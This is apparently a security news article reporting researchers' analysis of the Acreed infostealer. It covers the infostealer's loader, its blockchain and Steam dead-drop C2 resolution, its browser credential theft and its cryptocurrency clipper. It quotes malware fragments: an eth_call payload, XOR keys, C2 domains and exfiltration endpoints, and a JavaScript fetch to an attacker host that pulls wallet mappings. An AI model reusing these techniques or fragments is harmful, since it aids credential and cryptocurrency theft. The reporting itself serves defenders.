Acreed Infostealer Used Widely by Cybercriminals With C2 Via Steam Platform

Acreed emerged in early 2025 as a lean, stealthy infostealer that quickly gained favor among Russian-speaking cybercriminal forums.

First spotted on February 14, 2025, bundled with log packages sold by the threat actor “Nuez,” Acreed distinguishes itself from bulkier rivals by producing minimalistic logs that avoid revealing infection vectors.

In several incidents analyzed by Intrinsec researchers, Acreed logs comprised only browser passwords, cookies, and autofill data, omitting history and downloads to thwart forensic tracing.

This low-profile approach enhances operational security and complicates attribution. Initial infection chains often began with trojanized installers hosted on compromised websites such as download.it and unlocktool.net.

ShadowLoader, dropped during these incidents, unpacked two nearly identical PE32 modules that injected malicious code into legitimate signed DLLs such as WebView2Loader.dll.

Static analysis of these samples revealed unique mutex names like “WilStaging02” and an XOR-based C2 domain retrieval mechanism that leverages both BNB Smartchain and Steam dead-drop resolvers.

Intrinsec analysts noted that most samples perform an HTTP POST to a testnet smart contract at data-seed-prebsc-1-s1.binance.org:8545 using the payload:

{"jsonrpc":"2.0","method":"eth_call",
 "params":[{"to":"0xD13Fa758d18aCff16648D35a657DF929341dc6c1",
            "data":"0x24c12bf6"}, "latest"],"id":1}

The base64 result decodes to a hex string which is XOR-decoded with the key
Kduhw8rtgt43t4565fewqioh28268e289ey2860H283dho
yielding the domain windowsupdateorg.live.

The same approach with a hardcoded key qNBD8qgbd8gh28232032932DGH283dhi applied to comments on a Steam profile dead-drop (https://steamcommunity.com/profiles/76561199780129524) reveals additional C2 hosts such as trustdomainnet.live (Figure 14).

These C2 channels serve simple PHP-based APIs (api.php?action=register, api.php?action=update, api.php?action=screenshot), allowing the malware to exfiltrate screenshots and harvested credentials over TLS 1.1/1.2 only.

Dynamic HTTP configuration uses WinHttpSetOption to enforce secure protocols and bypass legacy SSL versions.

Infection Mechanism

Acreed’s infection begins with a ShadowLoader dropper that unpacks two infostealer payloads differentiated by file size (1.43 MB vs. 1.40 MB).

On execution, the stealer spawns mutexes named with process IDs to prevent double-instantiation. It then retrieves the current C2 domain via the dead-drop resolver and establishes an encrypted session.

Once C2 is resolved, the stealer parses key directories in AppData\Local for Chrome, Edge, and Brave, extracting Login Data, Cookies, and autofill records.

To evade sandbox detection, Acreed queries installed browser extensions by ID, searching for wallet extensions such as MetaMask and Coinbase Wallet by matching GUIDs in extension directories.

JavaScript clipper modules (cryptomus.js) fetched from C2 domains replace cryptocurrency addresses in clipboard or page elements.

For example, after retrieving wallet mappings via:-

fetch("https://trustdomainnet.live/getjson.php")
  .then(res => res.json())
  .then(data => { ethAddress = data.eth; /* … */ });

The script uses regex patterns to substitute victim addresses with attacker-owned wallets before transaction execution.

By combining compact exfiltration logs, blockchain-based dead drops, and established clipper modules, Acreed exemplifies modern modular stealth in infostealer design, posing a significant risk to users who store credentials and cryptocurrency wallets in browsers.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.